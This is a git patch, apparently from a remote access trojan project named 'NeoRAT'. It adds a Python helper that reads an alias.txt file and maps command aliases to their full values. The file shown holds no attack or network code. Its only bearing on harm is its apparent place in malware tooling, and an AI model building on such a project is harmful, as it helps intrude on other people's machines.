From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/parse/alias_parser.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 domestic/parse/alias_parser.py (limited to 'domestic/parse/alias_parser.py') diff --git a/domestic/parse/alias_parser.py b/domestic/parse/alias_parser.py new file mode 100644 index 0000000..e1b010d --- /dev/null +++ b/domestic/parse/alias_parser.py @@ -0,0 +1,22 @@ +import os + +from domestic.utility.read_file import * +from domestic.global_state import * + + +def alias_parser(data): + if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'): + filesize = os.path.getsize(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt') + + if filesize != state['settings']['dynamic']['alias-size']: + state['settings']['dynamic']['alias-data'] = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt').decode(state['settings']['encoding']).strip().split('\n') + state['settings']['dynamic']['alias-size'] = filesize + + for alias in state['settings']['dynamic']['alias-data']: + key_value = alias.split('=') + + if len(key_value) == 2: + if data == key_value[0]: + return key_value[1] + + return data \ No newline at end of file -- cgit v1.2.3